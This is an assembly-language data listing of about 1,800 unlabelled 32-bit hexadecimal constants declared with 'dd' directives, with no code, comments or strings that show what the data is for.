dd 74EC1521h, 9D121598h, 53AFA9F6h, 0FADEFF5Ah, 0EA099A17h
dd 0E2AEDA24h, 72F86C7h, 2AF07723h, 0CBB97942h, 3D6515Bh
dd 0ED6B60EDh, 2F2A8414h, 5F14FAD2h, 123CDBD9h, 0E8227337h
dd 0B4040334h, 0D32CF081h, 448F7D9h, 0A82BC7F5h, 8F657D65h
dd 67EB5E8Bh, 0F2A1EB6Bh, 6A58E388h, 758071E4h, 96EBEEC3h
dd 98472DA6h, 0C3FAE909h, 3DD5A941h, 17F5A76Eh, 0DBA58866h
dd 4AEEA740h, 89125CB5h, 362C905h, 6D30977h, 0ABF60A82h
dd 2E654E07h, 0FD31C791h, 0B03AEFC9h, 3A2F6815h, 6D319876h
dd 0E3E70BD2h, 60D5EF81h, 4EF5E9FEh, 0B0B5AC20h, 97676968h
dd 0E8C20AD9h, 592E545Dh, 2C4325F8h, 9BE4B07h, 0A2FFABBDh
dd 4056EF84h, 7D01269Eh, 84B64BFDh, 2F43890h, 0F034FF90h
dd 2BE22F6h, 0CF49A66Ah, 346B43D5h, 80064504h, 9D5D61EEh
dd 84E9AF13h, 0FF2E60F1h, 2F295E2Dh, 436DEE4Ah, 79E91C89h
dd 0D595C450h, 1D2E5E9Ch, 5E1DCAEFh, 0C6A01E96h, 0FFF8B55Ah
dd 0AB2E730Eh, 6BF5C039h, 0F8B5A29Ah, 0F24FEC2h, 0EA01474Eh
dd 908A8DCh, 3360685Dh, 16B31475h, 237C38E9h, 0B0E8C800h
dd 0D6F85952h, 30095BBCh, 1AAF83E2h, 0D8C30F2Dh, 96259B04h
dd 0FFDCD760h, 26917C9h, 0C06E683Fh, 9C3515B9h, 0EC84BD16h
dd 16B5A22Eh, 0CEAFD021h, 68560480h, 3DAA4E0Dh, 3DFE3ABBh
dd 66286FE8h, 126225E9h, 0EE9814DAh, 0E8202AB2h, 38CCCC42h
dd 1F4B9B15h, 0F395B531h, 51558802h, 0FC5B96A9h, 0C260D1B5h
dd 0D6415968h, 0E9EA6154h, 6922CB91h, 4A42B0A5h, 0C5A3AD61h
dd 10E8E829h, 0EB0DE480h, 29B4D56h, 1717BF15h, 3EBD87EFh
dd 0AAF6D505h, 59163062h, 3AEDB973h, 0CBBC8416h, 0E90BA072h
dd 86DB64E5h, 8EB1EB87h, 0CB52627Bh, 34282274h, 0BC4B6B0Ah
dd 531EE90Bh, 0E5B62A0h, 0BA669656h, 4AFD8B20h, 22A2885Fh
dd 2168391h, 340E33FBh, 0FED861EFh, 0F627E8C0h, 1AED8AB7h
dd 0FFBC7F12h, 0A219BC1h, 2057C543h, 0E4E8DCDCh, 0FE450F30h
dd 7D9123A9h, 996E9037h, 0D7C81D12h, 6A55A163h, 808F2C11h
dd 6B7E8568h, 53359C51h, 0BDBBD610h, 0C1930B5Eh, 67359A00h
dd 0A50A5A0Dh, 0EB9CB4E9h, 0A0BC8392h, 905A8D7h, 5E67B80Eh
dd 467E844Fh, 0ACA9826Bh, 0B7741455h, 383D075Bh, 3DEE5B28h
dd 108D2242h, 4A3BC4A0h, 0CCA22812h, 225B82F3h, 0B94F91CAh
dd 6F3A511Dh, 0E91947BCh, 2BADF780h, 650EAF8Bh, 0D678D160h
dd 3B2C4980h, 0B8024205h, 5569B221h, 5AF75CA1h, 0E933E02Dh
dd 22393B2Dh, 0FF05F85Fh, 62950270h, 0A4D957EDh, 17394669h
dd 685F5457h, 1CB85C03h, 139BA275h, 0DBE4C84Bh, 0A7418297h
dd 0A3846A44h, 68C23EE9h, 4AC7570Eh, 7049E99Ch, 0F9810BFAh
dd 28CC082Fh, 6DCFBB01h, 0F530721Ah, 671E779Fh, 0A0CE0C59h
dd 0BA523598h, 1C754E0Bh, 0D0485D07h, 9F3B2C03h, 0A5E3034Bh
dd 0E06A4A2Bh, 2D2221F3h, 0C3D04002h, 847EDB97h, 0EA4CC6E9h
dd 0F620DA3Dh, 0BC255BABh, 0A4EDE093h, 16210F12h, 0A81CC501h
dd 4879B708h, 0C5C35E69h, 3BD1BBEDh, 7BCEF9E9h, 0EDD18F3Eh
dd 3FAB06ABh, 0EA2A7550h, 309F55F6h, 97C54D3Ch, 0B716165Fh
dd 0C2E605F8h, 9EB9E988h, 1C872C12h, 0C7E3C2BDh, 0E1CBFEh
dd 0D7590230h, 66F62FE8h, 2D6D413Fh, 0E18B683Ch, 276A1D7Dh
dd 0C5C1826Fh, 807FE479h, 3652B1E2h, 0E579760h, 0F2AF65A1h
dd 0D8105FFCh, 0CEF15F89h, 4CF680ECh, 5A3BFB4Ch, 0B91EB17h
dd 83F83323h, 264DE795h, 45928B23h, 0D9427259h, 0A9780B44h
dd 0BF2D0E86h, 9012C43Eh, 0F4FC415Fh, 0FE48EB10h, 0BA51C4F1h
dd 242FA0F3h, 0CCFFCE62h, 0A57A9007h, 0D0E98BEBh, 6B904ED0h
dd 0AC350304h, 95E02C1Fh, 9639163Eh, 915DAA3Bh, 0BD765000h
dd 4A71E961h, 0DCCBB435h, 0C1DF9C64h, 583F92BAh, 74A2E570h
dd 13D9787Dh, 0EA3147E9h, 1FF0CE88h, 49386451h, 0A2A01C9Bh
dd 5F475444h, 1603F1B2h, 0E9A81B12h, 49EDD5FBh, 7A401E89h
dd 810EC680h, 0C912B551h, 6F302EDh, 4AF9C4DCh, 520B8864h
dd 0F503EC12h, 2D39E6EFh, 0D8B53289h, 0AD2B708h, 0E168AC0Ah
dd 0B3609D4Fh, 6F380F7h, 0F6E386FDh, 0F58208D4h, 0F52D7E7Eh
dd 0E969D636h, 0AA12555Eh, 7DE64A5Dh, 5FA70465h, 198AA5A3h
dd 9EEF5D07h, 6B8FA479h, 26CCD8A7h, 0CEDDF7h, 7F2809A0h
dd 0FECEFD29h, 4CBA153Ah, 73507055h, 14CDADAh, 65C8589h
dd 0A9F13BE5h, 688E302Ah, 0E6976BD6h, 21F12F52h, 0DC0289C6h
dd 0C146E251h, 27AC50EAh, 2AFC6598h, 79D5F770h, 80E53F4Dh
dd 0C065D18h, 8920788Ah, 69EB0925h, 168963CFh, 609B8807h
dd 0D6F7E6D1h, 0BBD0A97h, 26CC361Eh, 4FE91A21h, 0BE71827Dh
dd 4BDB72DDh, 90C018D5h, 8980EF56h, 0F091A3E1h, 149380Dh
dd 0ABE7814Fh, 607A4637h, 0FA038433h, 23E9B7FFh, 0B9340268h
dd 742B2FF7h, 3053705Fh, 0F24640D8h, 64676B27h, 9C909E0Ch
dd 0BE43E96Eh, 61FD255Dh, 50EA3926h, 0F2F580E4h, 6D3612A9h
dd 0BE63C563h, 2D14B28Bh, 0F5105D47h, 0A3BD4F33h, 8850B107h
dd 58E520D4h, 8302B05Ah, 0F7E9E828h, 5B93E6BCh, 2550B8B3h
dd 2DF3FB96h, 0EB4F7A5Eh, 2DE1F47Eh, 0E07B777Ch, 0EB382054h
dd 736846Fh, 8B295B07h, 60F22AF4h, 800F468Fh, 320098BAh
dd 0E6BD281Dh, 0B536682Bh, 66161676h, 0E25A53FCh, 7B86B139h
dd 9F49D205h, 0F680675Ch, 8E12239Eh, 2DF55889h, 0F87C182Fh
dd 2A68246Fh, 4A00A012h, 0BB79771Dh, 8688B644h, 0EC5BBBFCh
dd 0BBB92DFh, 0D3820C3Dh, 6601221Eh, 0C9DBB368h, 0F93E6AADh
dd 7568F0D2h, 0D298970Bh, 2BE1174Dh, 0A2923EBDh, 5289409h
dd 716013ECh, 110FA7C0h, 2653F092h, 812FA2E9h, 0D85F3DB9h
dd 2089E84Bh, 0BB54F19Dh, 0F9B71FA2h, 2868C2FEh, 505318D7h
dd 350F60E9h, 7B0A5ABFh, 2DA4369h, 0D56C2514h, 0D17810D8h
dd 26B23F5Bh, 53801B3Ch, 7DFD2DBDh, 295C280Dh, 270741F3h
dd 85F03EA8h, 73FA581Bh, 0B27C54BDh, 30BB015Eh, 0C11FDB7Fh
dd 0CCF221EBh, 412F1238h, 0DD7A0B8Fh, 60552AEAh, 5B5353Eh
dd 29C7BA14h, 26B8C2h, 52FC69C9h, 3067925h, 0E52D2A80h
dd 0D909509h, 0D00F4AE1h, 94E8D14Bh, 2B8913E3h, 0A6404EFh
dd 0EBE105Eh, 0AF7C7008h, 74098447h, 7FAAC9BEh, 6B260F84h
dd 7147176h, 0B7252DA5h, 0BE06A47Ch, 547F2D8h, 0E92FA80Bh
dd 7A56FA12h, 91F25500h, 90651805h, 223E25D6h, 3AEA4BFCh
dd 5C5B1909h, 6D94BB7Bh, 0EBD2DD38h, 0B4054C16h, 0FA99CC0Bh
dd 0D29B35E4h, 7F308ABBh, 2F25BE59h, 0AD1D4B2Dh, 0BD7A27E9h
dd 0E3403129h, 2981E6C3h, 3F6C053Bh, 440E33Ch, 65704EE0h
dd 5A03C480h, 0D2234E87h, 0F858D092h, 66CE682Fh, 4E4EF022h
dd 10F9B35Ch, 44CBBF57h, 445F0FB2h, 0F8E04A43h, 0F69F4BE5h
dd 0B10C804Eh, 0D10EF6CCh, 17E0F180h, 0AA202EACh, 3A0014BCh
dd 0EE813676h, 0E90DC2B0h
dd 87C4F89Eh, 58596560h, 946B6768h, 2805AABh, 768E71A6h
dd 4BD33507h, 1F05EEh, 0D7A9F72h, 5EF3E4C9h, 1973A079h
dd 78114B41h, 9647FE01h, 32F183Dh, 13E38053h, 0D3F6CBE0h
dd 12CBC3FAh, 0A7738722h, 5217C5F0h, 7E297EB6h, 0C3AEE4C6h
dd 0DEF66B06h, 0EFCBCEC1h, 0F583C5B3h, 0C78BCA26h, 0FC50B382h
dd 0F841DF43h, 0B1452042h, 13AB15D6h, 2AC1B385h, 5F5EB9F8h
dd 0DBE241FAh, 7E56D3DCh, 8B3F7CF1h, 19320055h, 0D4E97A66h
dd 5979ABEh, 0CD215BD9h, 3482A459h, 5D97FEE4h, 0EBB4EB1Eh
dd 635B52h, 273633E1h, 584D99E9h, 0FE5928D3h, 0EA7178C9h
dd 277A5C45h, 76E94C76h, 0F19C0C11h, 720BBB84h, 5444F611h
dd 7DDB6903h, 13133594h, 0CF84A1E9h, 292F92A2h, 61272CF8h
dd 0A73059BAh, 0CEF1390Bh, 4DFB4150h, 59D002FEh, 0FD7CE983h
dd 26C9224Eh, 0B7E71360h, 0FA5CCE8Bh, 264F66C0h, 4014560h
dd 2075C208h, 97B78F50h, 0EA502736h, 65BCE02Dh, 0B76D0868h
dd 0F6C5B21Fh, 0D5EA53DAh, 76B70B9Eh, 5DF41A5Fh, 7920239Ch
dd 87595EB4h, 0E84594BDh, 0E68091Dh, 5336997Bh, 145295E4h
dd 8D5B73BCh, 0C727EB00h, 8CA8115h, 0C923563Fh, 2A4B0169h
dd 0D3310D46h, 0E9857D2Dh, 4A0BA87Bh, 53977DFEh, 0E2C18334h
dd 14713051h, 4412571Dh, 7C19B9C0h, 28E93DB8h, 9ECCE555h
dd 42E24AFh, 82876E54h, 0EE00E69Bh, 5CE369DDh, 84046E7Ch
dd 0EA1A8317h, 84169FCh, 4643CE01h, 0B422EC14h, 5E10B3AFh
dd 2A3539FEh, 9C215D8h, 6EE01D18h, 8A04276h, 39DBE915h
dd 241010B6h, 325EBEC0h, 292C2FC7h, 9943D8F7h, 0C2E84FE7h
dd 0C45F5001h, 5740BDBAh, 644BEF3Bh, 3F2E8BAFh, 2C10B0E9h
dd 0DE02E3C1h, 2F90DF07h, 55526651h, 0FE012916h, 0F6E586C5h
dd 92D330D4h, 0DD32D8ECh, 37588951h, 645D8D21h, 0DF4A601Eh
dd 4ABB19BEh, 0EC091FEEh, 0F929C340h, 82FAC8F1h, 52CCB828h
dd 21576166h, 0CC3E7F75h, 94B85794h, 0D527B425h, 30E242BBh
dd 5B15FEF4h, 78D6DF70h, 927129BFh, 75FF553Bh, 0D80442B7h
dd 82E1C33Fh, 796CDDh, 0F6913C4Fh, 1096905h, 0E8012CB2h
dd 2A39D268h, 6F0C730h, 8B444A37h, 38D2596h, 0F4206856h
dd 381010F3h, 0F803B86h, 1B5166E6h, 0B7CEDBE2h, 9BC71A4h
dd 1F7BAD24h, 0F17452E4h, 81C31002h, 711208E6h, 0B80169D2h
dd 36280175h, 0C097903h, 0E1C0E976h, 0EC6E5D77h, 0A591B594h
dd 17DD1A10h, 0C205906Ah, 302561D4h, 0A5288AB7h, 0A459FA00h
dd 0F5B5E96Ah, 0BF2D5493h, 0CCCE8259h, 0FB78304h, 80BE28D5h
dd 827FC739h, 9D6835CFh, 99B7E613h, 0F94B0C5Bh, 0E40CC139h
dd 0C106D66h, 0EC587D21h, 0A91B4BE9h, 0C4B77B04h, 0C413A0D6h
dd 0C23DC026h, 79A0C31Eh, 0E3173D90h, 0A2006416h, 5C51B8E7h
dd 0BA9906Ch, 6EBC611Ch, 4CE9AE60h, 0F320754Bh, 9BD5556h
dd 11FA250Eh, 5B54A5Fh, 0C12EB8Eh, 57DAF4BBh, 55AD898h
dd 0DC000D99h, 5EE21511h, 0E714FE3Eh, 7398507Fh, 0DED12934h
dd 0BB100812h, 2F0F5817h, 2CD4C791h, 0FE65054Eh, 0EA68C0CEh
dd 815E39E9h, 56C1D4B3h, 6D2D88E9h, 0B3FFA4E4h, 1CFCD761h
dd 362316B0h, 0CFD5158h, 62D2F7D6h, 0FDBFF5C0h, 0FDDF411Dh
dd 1156634h, 7ED829A5h, 1C1C3082h, 4BB379BFh, 0D1530374h
dd 0A86AE1F6h, 2D104845h, 0C16A93A6h, 10899553h, 71D70158h
dd 1A59A5C9h, 12D97B69h, 9B0E028h, 0FD5BDD2Dh, 8D251E02h
dd 0D3238109h, 103AC63Bh, 841F99Ah, 2730FA75h, 0FEEC240Eh
dd 0E0F38D79h, 0DFBC3F0Ch, 0FBB836B1h, 0A6E7ABFCh, 0EFC58385h
dd 0AF4F379Ah, 27E90438h, 0E2FC8AF5h, 8B0F0865h, 7795AE25h
dd 99615BCh, 0A2F7B05Eh, 5E88A940h, 3D605295h, 581BD5Fh
dd 2506AC6Bh, 0A0C6DA2Dh, 240DCEAAh, 3A4786Bh, 18916348h
dd 74D10C07h, 0C93398h, 0EF275CF6h, 0E145FE9h, 8083B5C7h
dd 0AD1BFCDh, 4BD82D2Ah, 0A864D3EBh, 0BE12D7F8h, 0B35EE605h
dd 2DAB315Dh, 0D877EECDh, 0E8E0A59h, 278E4DBCh, 2981AB76h
dd 0AC48E9EBh, 5666283h, 0C4A734CBh, 0EBD384F0h, 7AE2C6CDh
dd 577F487h, 7168553Ch, 0C4B7A851h, 0EB56671Ch, 85AFF125h
dd 5F9E2CFFh, 0BB65D9Dh, 0A84E65BFh, 229D2790h, 2ED0F60h
dd 0E905E6B4h, 48E3E26Ch, 10E44B18h, 5326685Bh, 77E9A13Eh
dd 265FC2E4h, 977BAAB0h, 635D8607h, 3E16DFA1h, 671C60BDh
dd 6CE58181h, 0A06B9E05h, 13F5C62h, 3FE90992h, 50017427h
dd 0B82298Dh, 5D42D5B7h, 7C7C4375h, 28F1055Bh, 0E1452E25h
dd 0D00B29BDh, 0ABF95EE6h, 14FD5CA2h, 0C05F96A6h, 986775EDh
dd 0FD01541Ah, 41080B28h, 0E70794C8h, 9B428BFEh, 9FBC3941h
dd 0B52D317h, 59C52AE2h, 0BE6C8253h, 7C59D509h, 0C13F4AAFh
dd 0C100E545h, 35B003E2h, 0C46C2C05h, 0A0AB4A1Fh, 84905BFh
dd 5FF81652h, 22ED2DE1h, 0AEA2166Ah, 8BD4E177h, 955AD2A0h
dd 68287972h, 38C4A7F2h, 0D51225DBh, 0CA92EEDCh, 0F745CA5Eh
dd 2FE9D848h, 0B9F3E54Eh, 0C131E25Ah, 210C07A9h, 9A16F469h
dd 0EE322503h, 0E98297B7h, 0FBC8780Bh, 0A09CDBDh, 8D5F505Ah
dd 8EADB835h, 8B494C79h, 78657D8Fh, 7EA5F22Ch, 7C01F0A4h
dd 5A07549Fh, 354A40DFh, 40950B3Eh, 0D44231E9h, 2F3FC210h
dd 0B50224B9h, 0D71DEC02h, 8821850h, 30FF02F5h, 4E9B5E74h
dd 9075A816h, 0A7D33B4Bh, 0BB0E002Eh, 4BAF466Dh, 677B6134h
dd 52347A56h, 688239BCh, 747C6C7Fh, 7CDDDF43h, 0C5E47E4Ah
dd 0C832053Fh, 36411F9Dh, 0ED02BB62h, 75D638F9h, 0BA4A7640h
dd 0D7428227h, 15316B40h, 0FD08189Dh, 0B9A94F3Ch, 0EE8103B1h
dd 945657CDh, 0ED108984h, 8E91208h, 3E813356h, 8C6EF1E7h
dd 1A41D2CDh, 0B38186F5h, 0E8839141h, 15DAD301h, 60D0BDEAh
dd 62D340B7h, 0B64B8344h, 5A2CD9A9h, 0C35B4283h, 4F782DC3h
dd 9C15DF9Dh, 41B07B12h, 0FB53C51h, 0FE2D1A3Dh, 51B79566h
dd 6C9A005Bh, 300D21A7h, 59E6004h, 4AA0C4E9h, 254B3168h
dd 0D5C655h, 784DB050h, 0BF33F408h, 0D9F72402h, 8DA60055h
dd 1385B2CBh, 0EB59CA31h, 0B8C094B2h, 66C520EFh, 61FA314Bh
dd 2E0B689Ah, 2D284BD0h, 30447B33h, 0B9D13CEFh, 5F257E1Ah
dd 5CE5225h, 0FC3DE8F1h, 369FA82Dh, 6188E49h, 0CC4BC92Fh
dd 61988C89h, 8F307541h, 1D39BDC8h, 0E9C2ECC3h, 1EDCAA2Ch
dd 0C711A2C6h, 27C5DADEh, 0AD99B2E7h, 17683F68h, 9C921154h
dd 0C3F8A99Fh, 0FCD3F3D8h, 14C33598h, 527C6A59h, 0C6EE5F05h
dd 2BF1FFE6h, 854456FEh, 0FC3A7167h, 65ADD62Eh, 0AE23F617h
dd 0E3FF0335h, 1A954A0Ah, 0D6605609h, 0ED4F9708h, 0B2C701F8h
dd 3178A763h, 582FEC6Bh, 26F219CBh, 56E0F7BDh, 4A12F451h
dd 303A21F4h, 1A3D7BF8h, 4710E179h, 7045F78h, 46C08651h
dd 0A0D7F601h, 7A805906h, 0E5C010C5h, 6C07B04h, 68D5F62Ah
dd 0CC354A3Ch, 0C3FE716Bh, 7F0683F5h, 0C802E3C0h, 27E936EBh
dd 0F62042BCh, 34B06899h, 58CAE4C0h, 25E923C4h, 0FD442B75h
dd 8C2A4F97h, 0CE5149DEh, 0A908DF09h, 406FFE46h, 0F1205685h
dd 17E37C97h, 16C90ECEh, 468FAB16h, 0B9F54B5Ch, 0A22B138Ch
dd 0A38087A2h, 816D310Bh, 0DA2F635h, 0D206F0ABh, 30833816h
dd 292D12FCh, 68606E76h, 7FAA1CE5h, 0CD96B51Dh, 660A2C70h
dd 0FBF22112h, 0F1F0303Bh, 4C7FFAEAh, 0D7167ABEh, 8C76AF5Ah
dd 30C25B5Fh, 0E9DBB4ABh
dd 17AE9626h, 592C2389h, 19F582C4h, 90D53421h, 2D3EA448h
dd 67548423h, 25EDC808h, 0C38153F6h, 319C1E2Ch, 0F070EBE5h
dd 122B3892h, 0FA4AE98Bh, 890CD6Eh, 932D2D98h, 4483F432h
dd 0A9F88501h, 1ED0856Fh, 6E0AF720h, 0FC7F4EFCh, 8A17E25h
dd 0A2FD2F5Eh, 79F55CA2h, 92E941A6h, 9A756DEAh, 65AE0258h
dd 8388059Ah, 0EFA1C583h, 0E77F2066h, 0DFF67B12h, 5738EE09h
dd 87823FCEh, 0A0088351h, 9668057Eh, 35B03743h, 514CECFAh
dd 1A27BF9h, 0B164FCF4h, 0C32DFB49h, 0A7415F05h, 609CBE5Dh
dd 0CBFA4E01h, 850F68C2h, 2D55B708h, 0CB7D6F6Ah, 0B90C4F16h
dd 0B1455A25h, 39BA71B7h, 5888F8D8h, 0EA4A1095h, 185D1D2Fh
dd 23E28136h, 203B4E55h, 12DD0229h, 7F822F46h, 0B304BD2Ah
dd 0EF91AF60h, 5F02B859h, 0AF208761h, 0C4DE6E59h, 133FFC2Ah
dd 0CAE8140Ah, 65B521AAh, 35A611h, 6850510Ah, 80A97B28h
dd 307DFA29h, 0B7375B96h, 0D5204C47h, 6E9F5FA1h, 4BE961A0h
dd 538D8550h, 0DB2EFBD5h, 0FB2FC241h, 0A45BF97Ch, 55512D24h
dd 5524C6D1h, 0FB3DBB85h, 0EF5874ACh, 0EB448512h, 30BD0531h
dd 7A285901h, 0CD48EFCBh, 0B652770Bh, 0D95D2770h, 320916D6h
dd 0B893A2FDh, 0A410130Fh, 0D73731EEh, 0D37C69A0h, 1BF0EEEh
dd 39009474h, 0E903DA79h, 6681DE22h, 0F677076Ah, 1F5E4FD3h
dd 80EDD35Bh, 627F689Ah, 666036B6h, 55593478h, 897F8F57h
dd 663B5189h, 0DD2902C3h, 475B5D69h, 153BD3F1h, 93D81B17h
dd 0F70162FBh, 0CA7AE78Ch, 1EF7F164h, 0B0FBCCBFh, 33570F58h
dd 85E70628h, 0A21DE8C0h, 0E77582FFh, 912B9D2h, 8CA85B1Bh
dd 3E0F79D1h, 0D11761F2h, 0C7C82480h, 640CA313h, 0FE2C081Ch
dd 0D004C05Bh, 17934C2h, 6658C708h, 0D22C0F68h, 612F5852h
dd 0FD3CA133h, 0B0FFD485h, 241636E6h, 0DE1C64h, 996B7870h
dd 2D5F06E9h, 0FF9679B8h, 60424022h, 3EB1B935h, 6416E606h
dd 274FA29Eh, 39BFF92Dh, 0AAF9D334h, 0F521AD8Dh, 0B9E18ECh
dd 0CA23E95Dh, 0F273A974h, 591C687Eh, 0B6DE60F7h, 2FA44011h
dd 41460CC0h, 0B831964Eh, 0BC70B562h, 0EF1A84Ah, 0A23CFB2Bh
dd 17214EE9h, 5D9FB33h, 68163E28h, 5A138CB8h, 1CBF2A1Fh
dd 5CF5D24Ch, 11310ABBh, 11A9442Fh, 0FDC22764h, 4E004909h
dd 23113435h, 0ABAC86D3h, 6A25F7B3h, 8C6079C7h, 0D7529C50h
dd 0E121FE5Ah, 0BD0032D3h, 4C1671ADh, 2CFA0102h, 0BB0753D8h
dd 42091BA6h, 4F5BDF20h, 82EF0181h, 0E917122Fh, 0EC133A0Fh
dd 3CF135E4h, 6EBC6C7Ah, 591C4F81h, 3C0A4568h, 20D2C4EBh
dd 6B055D00h, 79135064h, 80095451h, 2C8691Ch, 0AF4FDD7Ch
dd 0F91A828Ah, 79F7D0D6h, 0F58769D1h, 0EA01F8BEh, 0F58A002h
dd 66DAC2EDh, 0BCB87D4Ah, 29D74B16h, 598D7589h, 98E57A38h
dd 5BA6042Eh, 664A28Fh, 0D9F7CD87h, 0EDC12E08h, 0DF8239EEh
dd 9B4A347h, 0F7957CC4h, 0E159613Eh, 69502579h, 81ECCC31h
dd 622196D8h, 9F767645h, 27D76F88h, 43F80FFh, 2EC928CBh
dd 181FE21h, 821E29C6h, 0AFF77124h, 8EAE5E86h, 0CCB2EFE9h
dd 0EA5C5004h, 5FEEA589h, 26A0CBE6h, 53500676h, 0E2681355h
dd 4A0E34Bh, 69BA3108h, 0F30644EBh, 0DC660B74h, 8B021E65h
dd 0C665D4A7h, 0BF32173Eh, 71DE8041h, 96E90815h, 264C5738h
dd 0CF44619h, 2E78F1ACh, 8F205048h, 4889C889h, 0BBD7A3C2h
dd 0BE12EB9Fh, 0EE214A1Ah, 0FC53D6CCh, 5ADB67BCh, 0BD687051h
dd 414F0674h, 0F3C090A2h, 0E0D51C3h, 0F8EBC128h, 651887E6h
dd 2C1E5C0Bh, 0ADD525FFh, 30F509E2h, 97847390h, 3739CFA0h
dd 45BD02E5h, 54678034h, 0D2F71DFDh, 0A9CA8724h, 0A8F4C613h
dd 91EB95EEh, 53030C7Fh, 0DBE965DEh, 3524757Dh, 32CED56Eh
dd 0B2111199h, 26C1C224h, 3D005E6h, 4F963FBFh, 8122Ch
dd 3BA00402h, 261D7C02h, 205C08F2h, 0FE136809h, 5B006B1Ah
dd 11D53E1Fh, 442D5802h, 0D59AFAE0h, 8FE9A281h, 74AA2BBBh
dd 0E0D6C8C7h, 0DA8F86Bh, 9130ECCFh, 14DE6084h, 0F268E2D1h
dd 0D62F1148h, 0E90B15F9h, 3057F61Ah, 8309023Ah, 897D47F2h
dd 5219DED6h, 96B879F5h, 3AF3B17Ch, 4F415E8h, 0BA4C2B37h
dd 0E28566F3h, 5B234B8Dh, 86A14D5Dh, 0E0F3D6E9h, 28DDB102h
dd 7F5966CBh, 0E914654Ch, 9E6F7917h, 4B84E555h, 41323A7Ch
dd 0EF314475h, 43612BB1h, 0E4C6BC7Eh, 76D13C82h, 982BEBCDh
dd 3B055200h, 4C4CA975h, 0AD6021DFh, 0FA6DAF1h, 0F8368402h
dd 6AD2D706h, 0C67BFA00h, 1BE18148h, 37973753h, 7F890E0Ch
dd 0E0C9AC00h, 2D177408h, 0DC53B0E9h, 51250DACh, 0E9099A5Bh
dd 5ED558C0h, 4B25AD5Fh, 680C9CA6h, 95D56130h, 25660240h
dd 0D3D9505Ah, 8857B584h, 4D7E81AAh, 8273ACFBh, 0FED95804h
dd 39EBB800h, 250054C1h, 296D03B4h, 27C7C62Dh, 0ED82F28Eh
dd 5DCA6FF3h, 62020A7Ch, 0D936E079h, 685E4194h, 82616AD2h
dd 82047426h, 0F6EA9AFCh, 6C2702DDh, 0CD3103ECh, 0A59D74F1h
dd 941C160Eh, 0ABBA470Dh, 9781CC7Fh, 8010661h, 52175E3Fh
dd 0A7B0BBDFh, 0E3F69559h, 5A20D6A8h, 9A1B018h, 46384C16h
dd 40B05E00h, 0E9166932h, 5E2C0910h, 37C03268h, 8FF83C69h
dd 31BB9597h, 562A1BDh, 0B54D05EAh, 0E898BE72h, 715F8A21h
dd 9FFAA2B3h, 0A15635D6h, 0CC3A132Dh, 80123B8Ch, 0B6FD79EBh
dd 2C5A1475h, 6D20BFE6h, 505D6817h, 0CD8EB61h, 37849828h
dd 0DEF81277h, 0D2043C0Eh, 0D9CA09B6h, 647BEF29h, 37102124h
dd 8B13413Bh, 2E64AFF5h, 290E8F0h, 0C16B575Fh, 46D503E9h
dd 0C09BA089h, 67273F7Fh, 29783412h, 1FED2BD9h, 84A3F397h
dd 1313D1h, 29D52D4Bh, 1DF81108h, 88AF244Ah, 0BA05521Fh
dd 48A07DD1h, 0F2F84FFBh, 92CBC801h, 6B93F5E9h, 6C44BD65h
dd 0B2AFFBECh, 5189DFDFh, 204BFD08h, 0F28CDEC0h, 70098B2Ch
dd 0B050A039h, 996876FEh, 3B25BFA9h, 6E59DFE1h, 410A282Ch
dd 31362C26h, 38773BD5h, 0E22AE521h, 56FE499Dh, 72BA5B20h
dd 55745950h, 89C5FE52h, 517FFE93h, 17BB600Eh, 762EDB3Ah
dd 0EE030143h, 0B01D265Fh, 483E95CBh, 7217015Bh, 0D2E9BCAAh
dd 5DC782BEh, 7A34B780h, 9690537Dh, 0DC3BD074h, 0A8CA0262h
dd 0C0042F4Fh, 49E2C18Fh, 0E350AD08h, 0D12912AFh, 1760EA5Ah
dd 0E159B168h, 0E4F1BC6Bh, 40E9F7FEh, 5B4FE9C9h, 0FF2AE8A1h
dd 427E272Dh, 0C09AB466h, 0E4808181h, 39BDBF2h, 53EB90B7h
dd 70BFE788h, 94E92FE3h, 0D4D31FC3h, 4FA21440h, 0C0528B95h
dd 9E399656h, 0A336C272h, 0D195B3D5h, 0BC50D764h, 301517EFh
dd 270C4708h, 55FF70Dh, 820E0FB0h, 852CFC07h, 7D37A8EEh
dd 510B92FDh, 0F17D04EEh, 12ECA9F5h, 0E3AA82D8h, 0FA8982DDh
dd 1B14C5Fh, 43F0BF57h, 88317154h, 1627A2E2h, 4651349h
dd 814A2A94h, 8CB93CF1h, 6CD205DBh, 0CB6292D4h, 0B92807AEh
dd 1F64AEAh, 183261CAh, 9CF0400Ch, 9092930h, 0EE5EE4E9h
dd 0FE575E67h, 0B22B1E2Ch, 9F7BAA1h, 49EE609Ch, 781ADD8h
dd 0AF96B5Eh, 88BEE909h, 520F98D3h, 0C2B7895Bh, 5358743Dh
dd 7D7E31F1h, 3A9202ACh, 0E0814112h, 48F31DF8h, 7601680Bh
dd 2942E75Ah, 995DD6D3h, 8E6B1C3Dh, 31EB023Ch, 40CDBDAAh
dd 962F882h, 0DA294893h, 1D4BE400h, 2D052863h, 64340F3Ah
dd 8BD40FAh, 628CF835h, 8E3A9863h, 142D028h, 2A6A2C2h
dd 0F55B5808h, 0C632E74Eh
dd 57C2E7B2h, 7F660F2Fh, 437616DAh, 5EE5BB54h, 50075E95h
dd 5D9D02C1h, 599D2B9Eh, 0F02E1C87h, 956AC369h, 0D6BC1925h
dd 96D52768h, 0DA9A1E70h, 65FF25FEh, 7C443C7Bh, 2124CF62h
dd 87DC57F8h, 0C0963550h, 6F28C675h, 0F8F6144Bh, 7CAE315Eh
dd 0BAA05C3Ah, 18277244h, 1E3740Bh, 65E9E8D1h, 5FF93A37h
dd 0A19DCB9Eh, 29E2F35Ch, 8E9A40F0h, 2A6C067Bh, 933F47E9h
dd 4F48EB06h, 0B0C0C79h, 0E4026296h, 71264E49h, 7DEE3AC5h
dd 0ABAD60B7h, 2F783943h, 0F464E94h, 836216CFh, 178B2DF7h
dd 0EE570D25h, 0EB2A9169h, 975C2538h, 75E932D9h, 0E8D5F7B2h
dd 98E7D13Dh, 0AC3A4A45h, 0D53DC1D2h, 0B06A3C01h, 0EE614DABh
dd 296859EAh, 0C6FCE83Ah, 4B1CFC61h, 0C7D8AF5Bh, 0B68F250h
dd 739E6ECEh, 27BC960h, 3A3B8C2Ch, 46751202h, 57AE870Fh
dd 0E9AF6E60h, 0BC195AAAh, 56129E2Ch, 30F75CE0h, 0D2C4BD3h
dd 7660AD07h, 0EE44E550h, 0B5789FDAh, 639CF995h, 6AFB45A0h
dd 3947E7F0h, 4F2AD31Ah, 0D1967FE8h, 1D1A2B09h, 0BA20D746h
dd 72C687CCh, 54D9095Fh, 430A26Eh, 0CC90DE76h, 211B6080h
